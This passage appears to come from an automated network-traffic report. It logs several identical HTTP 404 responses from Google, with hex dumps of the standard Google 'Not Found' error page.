69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:39 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:41 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:44 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:46 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:46 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 